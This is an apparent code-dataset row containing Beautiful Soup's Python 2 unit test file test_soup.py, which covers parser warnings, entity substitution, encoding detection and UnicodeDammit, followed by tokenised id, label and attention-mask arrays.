repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
harshita-gupta/Harvard-FRSEM-Catalog-2016-17
flask/lib/python2.7/site-packages/bs4/tests/test_soup.py
62
20345
# -*- coding: utf-8 -*- """Tests of Beautiful Soup as a whole.""" from pdb import set_trace import logging import unittest import sys import tempfile from bs4 import ( BeautifulSoup, BeautifulStoneSoup, ) from bs4.element import ( CharsetMetaAttributeValue, ContentMetaAttributeValue, SoupStrainer, NamespacedAttribute, ) import bs4.dammit from bs4.dammit import ( EntitySubstitution, UnicodeDammit, EncodingDetector, ) from bs4.testing import ( SoupTest, skipIf, ) import warnings try: from bs4.builder import LXMLTreeBuilder, LXMLTreeBuilderForXML LXML_PRESENT = True except ImportError, e: LXML_PRESENT = False PYTHON_3_PRE_3_2 = (sys.version_info[0] == 3 and sys.version_info < (3,2)) class TestConstructor(SoupTest): def test_short_unicode_input(self): data = u"<h1>éé</h1>" soup = self.soup(data) self.assertEqual(u"éé", soup.h1.string) def test_embedded_null(self): data = u"<h1>foo\0bar</h1>" soup = self.soup(data) self.assertEqual(u"foo\0bar", soup.h1.string) def test_exclude_encodings(self): utf8_data = u"Räksmörgås".encode("utf-8") soup = self.soup(utf8_data, exclude_encodings=["utf-8"]) self.assertEqual("windows-1252", soup.original_encoding) class TestWarnings(SoupTest): def _no_parser_specified(self, s, is_there=True): v = s.startswith(BeautifulSoup.NO_PARSER_SPECIFIED_WARNING[:80]) self.assertTrue(v) def test_warning_if_no_parser_specified(self): with warnings.catch_warnings(record=True) as w: soup = self.soup("<a><b></b></a>") msg = str(w[0].message) self._assert_no_parser_specified(msg) def test_warning_if_parser_specified_too_vague(self): with warnings.catch_warnings(record=True) as w: soup = self.soup("<a><b></b></a>", "html") msg = str(w[0].message) self._assert_no_parser_specified(msg) def test_no_warning_if_explicit_parser_specified(self): with warnings.catch_warnings(record=True) as w: soup = self.soup("<a><b></b></a>", "html.parser") self.assertEqual([], w) def test_parseOnlyThese_renamed_to_parse_only(self): with warnings.catch_warnings(record=True) as w: soup = self.soup("<a><b></b></a>", parseOnlyThese=SoupStrainer("b")) msg = str(w[0].message) self.assertTrue("parseOnlyThese" in msg) self.assertTrue("parse_only" in msg) self.assertEqual(b"<b></b>", soup.encode()) def test_fromEncoding_renamed_to_from_encoding(self): with warnings.catch_warnings(record=True) as w: utf8 = b"\xc3\xa9" soup = self.soup(utf8, fromEncoding="utf8") msg = str(w[0].message) self.assertTrue("fromEncoding" in msg) self.assertTrue("from_encoding" in msg) self.assertEqual("utf8", soup.original_encoding) def test_unrecognized_keyword_argument(self): self.assertRaises( TypeError, self.soup, "<a>", no_such_argument=True) class TestWarnings(SoupTest): def test_disk_file_warning(self): filehandle = tempfile.NamedTemporaryFile() filename = filehandle.name try: with warnings.catch_warnings(record=True) as w: soup = self.soup(filename) msg = str(w[0].message) self.assertTrue("looks like a filename" in msg) finally: filehandle.close() # The file no longer exists, so Beautiful Soup will no longer issue the warning. with warnings.catch_warnings(record=True) as w: soup = self.soup(filename) self.assertEqual(0, len(w)) def test_url_warning_with_bytes_url(self): with warnings.catch_warnings(record=True) as warning_list: soup = self.soup(b"http://www.crummybytes.com/") # Be aware this isn't the only warning that can be raised during # execution.. self.assertTrue(any("looks like a URL" in str(w.message) for w in warning_list)) def test_url_warning_with_unicode_url(self): with warnings.catch_warnings(record=True) as warning_list: # note - this url must differ from the bytes one otherwise # python's warnings system swallows the second warning soup = self.soup(u"http://www.crummyunicode.com/") self.assertTrue(any("looks like a URL" in str(w.message) for w in warning_list)) def test_url_warning_with_bytes_and_space(self): with warnings.catch_warnings(record=True) as warning_list: soup = self.soup(b"http://www.crummybytes.com/ is great") self.assertFalse(any("looks like a URL" in str(w.message) for w in warning_list)) def test_url_warning_with_unicode_and_space(self): with warnings.catch_warnings(record=True) as warning_list: soup = self.soup(u"http://www.crummyuncode.com/ is great") self.assertFalse(any("looks like a URL" in str(w.message) for w in warning_list)) class TestSelectiveParsing(SoupTest): def test_parse_with_soupstrainer(self): markup = "No<b>Yes</b><a>No<b>Yes <c>Yes</c></b>" strainer = SoupStrainer("b") soup = self.soup(markup, parse_only=strainer) self.assertEqual(soup.encode(), b"<b>Yes</b><b>Yes <c>Yes</c></b>") class TestEntitySubstitution(unittest.TestCase): """Standalone tests of the EntitySubstitution class.""" def setUp(self): self.sub = EntitySubstitution def test_simple_html_substitution(self): # Unicode characters corresponding to named HTML entites # are substituted, and no others. s = u"foo\u2200\N{SNOWMAN}\u00f5bar" self.assertEqual(self.sub.substitute_html(s), u"foo&forall;\N{SNOWMAN}&otilde;bar") def test_smart_quote_substitution(self): # MS smart quotes are a common source of frustration, so we # give them a special test. quotes = b"\x91\x92foo\x93\x94" dammit = UnicodeDammit(quotes) self.assertEqual(self.sub.substitute_html(dammit.markup), "&lsquo;&rsquo;foo&ldquo;&rdquo;") def test_xml_converstion_includes_no_quotes_if_make_quoted_attribute_is_false(self): s = 'Welcome to "my bar"' self.assertEqual(self.sub.substitute_xml(s, False), s) def test_xml_attribute_quoting_normally_uses_double_quotes(self): self.assertEqual(self.sub.substitute_xml("Welcome", True), '"Welcome"') self.assertEqual(self.sub.substitute_xml("Bob's Bar", True), '"Bob\'s Bar"') def test_xml_attribute_quoting_uses_single_quotes_when_value_contains_double_quotes(self): s = 'Welcome to "my bar"' self.assertEqual(self.sub.substitute_xml(s, True), "'Welcome to \"my bar\"'") def test_xml_attribute_quoting_escapes_single_quotes_when_value_contains_both_single_and_double_quotes(self): s = 'Welcome to "Bob\'s Bar"' self.assertEqual( self.sub.substitute_xml(s, True), '"Welcome to &quot;Bob\'s Bar&quot;"') def test_xml_quotes_arent_escaped_when_value_is_not_being_quoted(self): quoted = 'Welcome to "Bob\'s Bar"' self.assertEqual(self.sub.substitute_xml(quoted), quoted) def test_xml_quoting_handles_angle_brackets(self): self.assertEqual( self.sub.substitute_xml("foo<bar>"), "foo&lt;bar&gt;") def test_xml_quoting_handles_ampersands(self): self.assertEqual(self.sub.substitute_xml("AT&T"), "AT&amp;T") def test_xml_quoting_including_ampersands_when_they_are_part_of_an_entity(self): self.assertEqual( self.sub.substitute_xml("&Aacute;T&T"), "&amp;Aacute;T&amp;T") def test_xml_quoting_ignoring_ampersands_when_they_are_part_of_an_entity(self): self.assertEqual( self.sub.substitute_xml_containing_entities("&Aacute;T&T"), "&Aacute;T&amp;T") def test_quotes_not_html_substituted(self): """There's no need to do this except inside attribute values.""" text = 'Bob\'s "bar"' self.assertEqual(self.sub.substitute_html(text), text) class TestEncodingConversion(SoupTest): # Test Beautiful Soup's ability to decode and encode from various # encodings. def setUp(self): super(TestEncodingConversion, self).setUp() self.unicode_data = u'<html><head><meta charset="utf-8"/></head><body><foo>Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!</foo></body></html>' self.utf8_data = self.unicode_data.encode("utf-8") # Just so you know what it looks like. self.assertEqual( self.utf8_data, b'<html><head><meta charset="utf-8"/></head><body><foo>Sacr\xc3\xa9 bleu!</foo></body></html>') def test_ascii_in_unicode_out(self): # ASCII input is converted to Unicode. The original_encoding # attribute is set to 'utf-8', a superset of ASCII. chardet = bs4.dammit.chardet_dammit logging.disable(logging.WARNING) try: def noop(str): return None # Disable chardet, which will realize that the ASCII is ASCII. bs4.dammit.chardet_dammit = noop ascii = b"<foo>a</foo>" soup_from_ascii = self.soup(ascii) unicode_output = soup_from_ascii.decode() self.assertTrue(isinstance(unicode_output, unicode)) self.assertEqual(unicode_output, self.document_for(ascii.decode())) self.assertEqual(soup_from_ascii.original_encoding.lower(), "utf-8") finally: logging.disable(logging.NOTSET) bs4.dammit.chardet_dammit = chardet def test_unicode_in_unicode_out(self): # Unicode input is left alone. The original_encoding attribute # is not set. soup_from_unicode = self.soup(self.unicode_data) self.assertEqual(soup_from_unicode.decode(), self.unicode_data) self.assertEqual(soup_from_unicode.foo.string, u'Sacr\xe9 bleu!') self.assertEqual(soup_from_unicode.original_encoding, None) def test_utf8_in_unicode_out(self): # UTF-8 input is converted to Unicode. The original_encoding # attribute is set. soup_from_utf8 = self.soup(self.utf8_data) self.assertEqual(soup_from_utf8.decode(), self.unicode_data) self.assertEqual(soup_from_utf8.foo.string, u'Sacr\xe9 bleu!') def test_utf8_out(self): # The internal data structures can be encoded as UTF-8. soup_from_unicode = self.soup(self.unicode_data) self.assertEqual(soup_from_unicode.encode('utf-8'), self.utf8_data) @skipIf( PYTHON_3_PRE_3_2, "Bad HTMLParser detected; skipping test of non-ASCII characters in attribute name.") def test_attribute_name_containing_unicode_characters(self): markup = u'<div><a \N{SNOWMAN}="snowman"></a></div>' self.assertEqual(self.soup(markup).div.encode("utf8"), markup.encode("utf8")) class TestUnicodeDammit(unittest.TestCase): """Standalone tests of UnicodeDammit.""" def test_unicode_input(self): markup = u"I'm already Unicode! \N{SNOWMAN}" dammit = UnicodeDammit(markup) self.assertEqual(dammit.unicode_markup, markup) def test_smart_quotes_to_unicode(self): markup = b"<foo>\x91\x92\x93\x94</foo>" dammit = UnicodeDammit(markup) self.assertEqual( dammit.unicode_markup, u"<foo>\u2018\u2019\u201c\u201d</foo>") def test_smart_quotes_to_xml_entities(self): markup = b"<foo>\x91\x92\x93\x94</foo>" dammit = UnicodeDammit(markup, smart_quotes_to="xml") self.assertEqual( dammit.unicode_markup, "<foo>&#x2018;&#x2019;&#x201C;&#x201D;</foo>") def test_smart_quotes_to_html_entities(self): markup = b"<foo>\x91\x92\x93\x94</foo>" dammit = UnicodeDammit(markup, smart_quotes_to="html") self.assertEqual( dammit.unicode_markup, "<foo>&lsquo;&rsquo;&ldquo;&rdquo;</foo>") def test_smart_quotes_to_ascii(self): markup = b"<foo>\x91\x92\x93\x94</foo>" dammit = UnicodeDammit(markup, smart_quotes_to="ascii") self.assertEqual( dammit.unicode_markup, """<foo>''""</foo>""") def test_detect_utf8(self): utf8 = b"Sacr\xc3\xa9 bleu! \xe2\x98\x83" dammit = UnicodeDammit(utf8) self.assertEqual(dammit.original_encoding.lower(), 'utf-8') self.assertEqual(dammit.unicode_markup, u'Sacr\xe9 bleu! \N{SNOWMAN}') def test_convert_hebrew(self): hebrew = b"\xed\xe5\xec\xf9" dammit = UnicodeDammit(hebrew, ["iso-8859-8"]) self.assertEqual(dammit.original_encoding.lower(), 'iso-8859-8') self.assertEqual(dammit.unicode_markup, u'\u05dd\u05d5\u05dc\u05e9') def test_dont_see_smart_quotes_where_there_are_none(self): utf_8 = b"\343\202\261\343\203\274\343\202\277\343\202\244 Watch" dammit = UnicodeDammit(utf_8) self.assertEqual(dammit.original_encoding.lower(), 'utf-8') self.assertEqual(dammit.unicode_markup.encode("utf-8"), utf_8) def test_ignore_inappropriate_codecs(self): utf8_data = u"Räksmörgås".encode("utf-8") dammit = UnicodeDammit(utf8_data, ["iso-8859-8"]) self.assertEqual(dammit.original_encoding.lower(), 'utf-8') def test_ignore_invalid_codecs(self): utf8_data = u"Räksmörgås".encode("utf-8") for bad_encoding in ['.utf8', '...', 'utF---16.!']: dammit = UnicodeDammit(utf8_data, [bad_encoding]) self.assertEqual(dammit.original_encoding.lower(), 'utf-8') def test_exclude_encodings(self): # This is UTF-8. utf8_data = u"Räksmörgås".encode("utf-8") # But if we exclude UTF-8 from consideration, the guess is # Windows-1252. dammit = UnicodeDammit(utf8_data, exclude_encodings=["utf-8"]) self.assertEqual(dammit.original_encoding.lower(), 'windows-1252') # And if we exclude that, there is no valid guess at all. dammit = UnicodeDammit( utf8_data, exclude_encodings=["utf-8", "windows-1252"]) self.assertEqual(dammit.original_encoding, None) def test_encoding_detector_replaces_junk_in_encoding_name_with_replacement_character(self): detected = EncodingDetector( b'<?xml version="1.0" encoding="UTF-\xdb" ?>') encodings = list(detected.encodings) assert u'utf-\N{REPLACEMENT CHARACTER}' in encodings def test_detect_html5_style_meta_tag(self): for data in ( b'<html><meta charset="euc-jp" /></html>', b"<html><meta charset='euc-jp' /></html>", b"<html><meta charset=euc-jp /></html>", b"<html><meta charset=euc-jp/></html>"): dammit = UnicodeDammit(data, is_html=True) self.assertEqual( "euc-jp", dammit.original_encoding) def test_last_ditch_entity_replacement(self): # This is a UTF-8 document that contains bytestrings # completely incompatible with UTF-8 (ie. encoded with some other # encoding). # # Since there is no consistent encoding for the document, # Unicode, Dammit will eventually encode the document as UTF-8 # and encode the incompatible characters as REPLACEMENT # CHARACTER. # # If chardet is installed, it will detect that the document # can be converted into ISO-8859-1 without errors. This happens # to be the wrong encoding, but it is a consistent encoding, so the # code we're testing here won't run. # # So we temporarily disable chardet if it's present. doc = b"""\357\273\277<?xml version="1.0" encoding="UTF-8"?> <html><b>\330\250\330\252\330\261</b> <i>\310\322\321\220\312\321\355\344</i></html>""" chardet = bs4.dammit.chardet_dammit logging.disable(logging.WARNING) try: def noop(str): return None bs4.dammit.chardet_dammit = noop dammit = UnicodeDammit(doc) self.assertEqual(True, dammit.contains_replacement_characters) self.assertTrue(u"\ufffd" in dammit.unicode_markup) soup = BeautifulSoup(doc, "html.parser") self.assertTrue(soup.contains_replacement_characters) finally: logging.disable(logging.NOTSET) bs4.dammit.chardet_dammit = chardet def test_byte_order_mark_removed(self): # A document written in UTF-16LE will have its byte order marker stripped. data = b'\xff\xfe<\x00a\x00>\x00\xe1\x00\xe9\x00<\x00/\x00a\x00>\x00' dammit = UnicodeDammit(data) self.assertEqual(u"<a>áé</a>", dammit.unicode_markup) self.assertEqual("utf-16le", dammit.original_encoding) def test_detwingle(self): # Here's a UTF8 document. utf8 = (u"\N{SNOWMAN}" * 3).encode("utf8") # Here's a Windows-1252 document. windows_1252 = ( u"\N{LEFT DOUBLE QUOTATION MARK}Hi, I like Windows!" u"\N{RIGHT DOUBLE QUOTATION MARK}").encode("windows_1252") # Through some unholy alchemy, they've been stuck together. doc = utf8 + windows_1252 + utf8 # The document can't be turned into UTF-8: self.assertRaises(UnicodeDecodeError, doc.decode, "utf8") # Unicode, Dammit thinks the whole document is Windows-1252, # and decodes it into "☃☃☃“Hi, I like Windows!”☃☃☃" # But if we run it through fix_embedded_windows_1252, it's fixed: fixed = UnicodeDammit.detwingle(doc) self.assertEqual( u"☃☃☃“Hi, I like Windows!”☃☃☃", fixed.decode("utf8")) def test_detwingle_ignores_multibyte_characters(self): # Each of these characters has a UTF-8 representation ending # in \x93. \x93 is a smart quote if interpreted as # Windows-1252. But our code knows to skip over multibyte # UTF-8 characters, so they'll survive the process unscathed. for tricky_unicode_char in ( u"\N{LATIN SMALL LIGATURE OE}", # 2-byte char '\xc5\x93' u"\N{LATIN SUBSCRIPT SMALL LETTER X}", # 3-byte char '\xe2\x82\x93' u"\xf0\x90\x90\x93", # This is a CJK character, not sure which one. ): input = tricky_unicode_char.encode("utf8") self.assertTrue(input.endswith(b'\x93')) output = UnicodeDammit.detwingle(input) self.assertEqual(output, input) class TestNamedspacedAttribute(SoupTest): def test_name_may_be_none(self): a = NamespacedAttribute("xmlns", None) self.assertEqual(a, "xmlns") def test_attribute_is_equivalent_to_colon_separated_string(self): a = NamespacedAttribute("a", "b") self.assertEqual("a:b", a) def test_attributes_are_equivalent_if_prefix_and_name_identical(self): a = NamespacedAttribute("a", "b", "c") b = NamespacedAttribute("a", "b", "c") self.assertEqual(a, b) # The actual namespace is not considered. c = NamespacedAttribute("a", "b", None) self.assertEqual(a, c) # But name and prefix are important. d = NamespacedAttribute("a", "z", "c") self.assertNotEqual(a, d) e = NamespacedAttribute("z", "b", "c") self.assertNotEqual(a, e) class TestAttributeValueWithCharsetSubstitution(unittest.TestCase): def test_content_meta_attribute_value(self): value = CharsetMetaAttributeValue("euc-jp") self.assertEqual("euc-jp", value) self.assertEqual("euc-jp", value.original_value) self.assertEqual("utf8", value.encode("utf8")) def test_content_meta_attribute_value(self): value = ContentMetaAttributeValue("text/html; charset=euc-jp") self.assertEqual("text/html; charset=euc-jp", value) self.assertEqual("text/html; charset=euc-jp", value.original_value) self.assertEqual("text/html; charset=utf8", value.encode("utf8"))
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 2925, 402, 14562, 28028, 465, 282, 8852, 1041, 199, 199, 504, 10543, 492, 663, 63, 3446, 199, 646, 2050, 199, 646, 2882, 199, 646, 984, 199, 646, 5549, 199, 199, 504, 9922, 20, 492, 334, 272, 17132, 12, 272, 14562, 933, 368, 12341, 12, 199, 9, 199, 504, 9922, 20, 14, 2108, 492, 334, 272, 29392, 3396, 4016, 12, 272, 6646, 3396, 4016, 12, 272, 28028, 933, 6322, 281, 12, 272, 19317, 68, 1646, 12, 272, 776, 199, 646, 9922, 20, 14, 68, 28980, 199, 504, 9922, 20, 14, 68, 28980, 492, 334, 272, 17680, 2610, 26575, 12, 272, 6140, 36, 28980, 12, 272, 19694, 24402, 12, 199, 9, 199, 504, 9922, 20, 14, 4776, 492, 334, 272, 28028, 774, 12, 272, 3372, 3917, 12, 199, 9, 199, 646, 3598, 199, 199, 893, 26, 272, 687, 9922, 20, 14, 5649, 492, 491, 4317, 20437, 12, 491, 4317, 20437, 1858, 4317, 272, 491, 4317, 63, 19743, 275, 715, 199, 2590, 3545, 12, 325, 26, 272, 491, 4317, 63, 19743, 275, 756, 199, 199, 11720, 63, 19, 63, 4225, 63, 19, 63, 18, 275, 334, 1274, 14, 1023, 63, 815, 59, 16, 61, 508, 650, 436, 984, 14, 1023, 63, 815, 665, 334, 19, 12, 18, 430, 199, 199, 533, 1379, 11447, 8, 12341, 774, 304, 339, 347, 511, 63, 3612, 63, 2975, 63, 1210, 8, 277, 304, 267, 666, 275, 399, 17030, 72, 17, 30, 5741, 5741, 1108, 72, 17, 4335, 267, 9108, 275, 291, 14, 9317, 8, 576, 9, 267, 291, 14, 629, 8, 85, 2, 5741, 5741, 401, 9108, 14, 72, 17, 14, 875, 9, 339, 347, 511, 63, 18757, 63, 2307, 8, 277, 304, 267, 666, 275, 399, 17030, 72, 17, 30, 1421, 60, 16, 1700, 1108, 72, 17, 4335, 267, 9108, 275, 291, 14, 9317, 8, 576, 9, 267, 291, 14, 629, 8, 85, 2, 1421, 60, 16, 1700, 401, 9108, 14, 72, 17, 14, 875, 9, 339, 347, 511, 63, 5473, 63, 21138, 8, 277, 304, 267, 2774, 24, 63, 576, 275, 399, 2, 50, 13733, 75, 3300, 14614, 12430, 30234, 83, 1674, 2143, 480, 1624, 13, 24, 531, 267, 9108, 275, 291, 14, 9317, 8, 1624, 24, 63, 576, 12, 5760, 63, 21138, 6270, 1624, 13, 24, 3135, 267, 291, 14, 629, 480, 8258, 13, 19364, 401, 9108, 14, 5043, 63, 2991, 9, 421, 199, 533, 1379, 15921, 8, 12341, 774, 304, 339, 347, 485, 889, 63, 2087, 63, 10085, 8, 277, 12, 308, 12, 365, 63, 16990, 29, 549, 304, 267, 373, 275, 308, 14, 2460, 8, 30117, 12341, 14, 2826, 63, 26078, 63, 22917, 19679, 63, 9171, 1491, 1257, 566, 267, 291, 14, 1815, 8, 86, 9, 339, 347, 511, 63, 3764, 63, 692, 63, 889, 63, 2087, 63, 10085, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 9579, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 423, 479, 63, 889, 63, 2087, 63, 10085, 8, 1328, 9, 339, 347, 511, 63, 3764, 63, 692, 63, 2087, 63, 10085, 63, 7354, 63, 86, 30904, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 7166, 298, 1360, 531, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 423, 479, 63, 889, 63, 2087, 63, 10085, 8, 1328, 9, 339, 347, 511, 63, 889, 63, 3764, 63, 692, 63, 10306, 63, 2087, 63, 10085, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 7166, 298, 1360, 14, 2087, 531, 267, 291, 14, 629, 8798, 336, 9, 339, 347, 511, 63, 1122, 5903, 20676, 63, 29401, 63, 475, 63, 1122, 63, 2118, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 7166, 2198, 5903, 20676, 29, 12341, 933, 6322, 281, 480, 66, 2237, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 14, 1815, 480, 1122, 5903, 20676, 2, 315, 1499, 9, 267, 291, 14, 1815, 480, 1122, 63, 2118, 2, 315, 1499, 9, 267, 291, 14, 629, 8, 66, 17030, 66, 2957, 66, 7166, 9108, 14, 2143, 1012, 339, 347, 511, 63, 504, 7630, 63, 29401, 63, 475, 63, 504, 63, 2991, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 2774, 24, 275, 330, 3212, 1812, 19, 60, 1800, 25, 2, 288, 9108, 275, 291, 14, 9317, 8, 1624, 24, 12, 687, 7630, 628, 1624, 24, 531, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 14, 1815, 480, 504, 7630, 2, 315, 1499, 9, 267, 291, 14, 1815, 480, 504, 63, 2991, 2, 315, 1499, 9, 267, 291, 14, 629, 480, 1624, 24, 401, 9108, 14, 5043, 63, 2991, 9, 339, 347, 511, 63, 324, 13221, 63, 6691, 63, 2094, 8, 277, 304, 267, 291, 14, 1855, 8, 288, 3146, 12, 291, 14, 9317, 12, 3886, 65, 7166, 949, 63, 10180, 63, 2094, 29, 549, 9, 199, 199, 533, 1379, 15921, 8, 12341, 774, 304, 339, 347, 511, 63, 4032, 63, 493, 63, 3764, 8, 277, 304, 267, 570, 2479, 275, 5549, 14, 19320, 342, 267, 1788, 275, 570, 2479, 14, 354, 267, 862, 26, 288, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 355, 9108, 275, 291, 14, 9317, 8, 1501, 9, 288, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 288, 291, 14, 1815, 480, 11660, 83, 2839, 282, 1788, 2, 315, 1499, 9, 267, 3753, 26, 288, 570, 2479, 14, 1600, 342, 398, 327, 710, 570, 949, 8088, 3495, 12, 880, 14562, 28028, 911, 949, 8088 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 2925, 402, 14562, 28028, 465, 282, 8852, 1041, 199, 199, 504, 10543, 492, 663, 63, 3446, 199, 646, 2050, 199, 646, 2882, 199, 646, 984, 199, 646, 5549, 199, 199, 504, 9922, 20, 492, 334, 272, 17132, 12, 272, 14562, 933, 368, 12341, 12, 199, 9, 199, 504, 9922, 20, 14, 2108, 492, 334, 272, 29392, 3396, 4016, 12, 272, 6646, 3396, 4016, 12, 272, 28028, 933, 6322, 281, 12, 272, 19317, 68, 1646, 12, 272, 776, 199, 646, 9922, 20, 14, 68, 28980, 199, 504, 9922, 20, 14, 68, 28980, 492, 334, 272, 17680, 2610, 26575, 12, 272, 6140, 36, 28980, 12, 272, 19694, 24402, 12, 199, 9, 199, 504, 9922, 20, 14, 4776, 492, 334, 272, 28028, 774, 12, 272, 3372, 3917, 12, 199, 9, 199, 646, 3598, 199, 199, 893, 26, 272, 687, 9922, 20, 14, 5649, 492, 491, 4317, 20437, 12, 491, 4317, 20437, 1858, 4317, 272, 491, 4317, 63, 19743, 275, 715, 199, 2590, 3545, 12, 325, 26, 272, 491, 4317, 63, 19743, 275, 756, 199, 199, 11720, 63, 19, 63, 4225, 63, 19, 63, 18, 275, 334, 1274, 14, 1023, 63, 815, 59, 16, 61, 508, 650, 436, 984, 14, 1023, 63, 815, 665, 334, 19, 12, 18, 430, 199, 199, 533, 1379, 11447, 8, 12341, 774, 304, 339, 347, 511, 63, 3612, 63, 2975, 63, 1210, 8, 277, 304, 267, 666, 275, 399, 17030, 72, 17, 30, 5741, 5741, 1108, 72, 17, 4335, 267, 9108, 275, 291, 14, 9317, 8, 576, 9, 267, 291, 14, 629, 8, 85, 2, 5741, 5741, 401, 9108, 14, 72, 17, 14, 875, 9, 339, 347, 511, 63, 18757, 63, 2307, 8, 277, 304, 267, 666, 275, 399, 17030, 72, 17, 30, 1421, 60, 16, 1700, 1108, 72, 17, 4335, 267, 9108, 275, 291, 14, 9317, 8, 576, 9, 267, 291, 14, 629, 8, 85, 2, 1421, 60, 16, 1700, 401, 9108, 14, 72, 17, 14, 875, 9, 339, 347, 511, 63, 5473, 63, 21138, 8, 277, 304, 267, 2774, 24, 63, 576, 275, 399, 2, 50, 13733, 75, 3300, 14614, 12430, 30234, 83, 1674, 2143, 480, 1624, 13, 24, 531, 267, 9108, 275, 291, 14, 9317, 8, 1624, 24, 63, 576, 12, 5760, 63, 21138, 6270, 1624, 13, 24, 3135, 267, 291, 14, 629, 480, 8258, 13, 19364, 401, 9108, 14, 5043, 63, 2991, 9, 421, 199, 533, 1379, 15921, 8, 12341, 774, 304, 339, 347, 485, 889, 63, 2087, 63, 10085, 8, 277, 12, 308, 12, 365, 63, 16990, 29, 549, 304, 267, 373, 275, 308, 14, 2460, 8, 30117, 12341, 14, 2826, 63, 26078, 63, 22917, 19679, 63, 9171, 1491, 1257, 566, 267, 291, 14, 1815, 8, 86, 9, 339, 347, 511, 63, 3764, 63, 692, 63, 889, 63, 2087, 63, 10085, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 9579, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 423, 479, 63, 889, 63, 2087, 63, 10085, 8, 1328, 9, 339, 347, 511, 63, 3764, 63, 692, 63, 2087, 63, 10085, 63, 7354, 63, 86, 30904, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 7166, 298, 1360, 531, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 423, 479, 63, 889, 63, 2087, 63, 10085, 8, 1328, 9, 339, 347, 511, 63, 889, 63, 3764, 63, 692, 63, 10306, 63, 2087, 63, 10085, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 7166, 298, 1360, 14, 2087, 531, 267, 291, 14, 629, 8798, 336, 9, 339, 347, 511, 63, 1122, 5903, 20676, 63, 29401, 63, 475, 63, 1122, 63, 2118, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 9108, 275, 291, 14, 9317, 6757, 65, 2535, 66, 2957, 66, 2957, 65, 7166, 2198, 5903, 20676, 29, 12341, 933, 6322, 281, 480, 66, 2237, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 14, 1815, 480, 1122, 5903, 20676, 2, 315, 1499, 9, 267, 291, 14, 1815, 480, 1122, 63, 2118, 2, 315, 1499, 9, 267, 291, 14, 629, 8, 66, 17030, 66, 2957, 66, 7166, 9108, 14, 2143, 1012, 339, 347, 511, 63, 504, 7630, 63, 29401, 63, 475, 63, 504, 63, 2991, 8, 277, 304, 267, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 288, 2774, 24, 275, 330, 3212, 1812, 19, 60, 1800, 25, 2, 288, 9108, 275, 291, 14, 9317, 8, 1624, 24, 12, 687, 7630, 628, 1624, 24, 531, 267, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 267, 291, 14, 1815, 480, 504, 7630, 2, 315, 1499, 9, 267, 291, 14, 1815, 480, 504, 63, 2991, 2, 315, 1499, 9, 267, 291, 14, 629, 480, 1624, 24, 401, 9108, 14, 5043, 63, 2991, 9, 339, 347, 511, 63, 324, 13221, 63, 6691, 63, 2094, 8, 277, 304, 267, 291, 14, 1855, 8, 288, 3146, 12, 291, 14, 9317, 12, 3886, 65, 7166, 949, 63, 10180, 63, 2094, 29, 549, 9, 199, 199, 533, 1379, 15921, 8, 12341, 774, 304, 339, 347, 511, 63, 4032, 63, 493, 63, 3764, 8, 277, 304, 267, 570, 2479, 275, 5549, 14, 19320, 342, 267, 1788, 275, 570, 2479, 14, 354, 267, 862, 26, 288, 543, 3598, 14, 9341, 63, 5451, 8, 3059, 29, 549, 9, 465, 336, 26, 355, 9108, 275, 291, 14, 9317, 8, 1501, 9, 288, 1499, 275, 620, 8, 87, 59, 16, 1055, 1188, 9, 288, 291, 14, 1815, 480, 11660, 83, 2839, 282, 1788, 2, 315, 1499, 9, 267, 3753, 26, 288, 570, 2479, 14, 1600, 342, 398, 327, 710, 570, 949, 8088, 3495, 12, 880, 14562, 28028, 911, 949, 8088, 0 ]
